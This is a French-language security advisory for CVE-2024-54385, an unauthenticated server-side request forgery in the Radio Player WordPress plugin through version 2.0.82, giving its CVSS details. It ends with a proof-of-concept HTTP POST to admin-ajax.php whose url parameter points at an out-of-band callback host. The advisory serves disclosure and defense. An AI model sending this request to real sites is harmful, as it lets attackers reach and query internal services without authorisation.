CVE-2024-54385

Radio Player <= 2.0.82 - Falsification de requête côté serveur non authentifiée

Description

Le plugin Radio Player – Live Shoutcast, Icecast and Any Audio Stream Player for WordPress pour WordPress est vulnérable à une falsification de requête côté serveur dans toutes les versions jusqu’à la 2.0.82 incluse. Cela permet à des attaquants non authentifiés de faire des requêtes web vers des emplacements arbitraires à partir de l’application web, ce qui peut être utilisé pour interroger et modifier des informations de services internes.

Détails

• Type: plugin
• Slug: radio-player
• Version affectée: 2.0.82
• Score CVSS: 7.2
• Niveau CVSS: Élevé
• Vecteur CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
• CVE: CVE-2024-54385
• Statut: Actif

POC

POST /wp-admin/admin-ajax.php HTTP/2
Host: wp-dev.ddev.site
Content-Type: application/x-www-form-urlencoded
Content-Length: 127

action=radio_player_get_stream_data&nonce=feb9ecfbfa&utm_source=&url=http://918sodewycbbjnbts7cxy5bqyh48s0gp.bc.oast.site/live.m3u8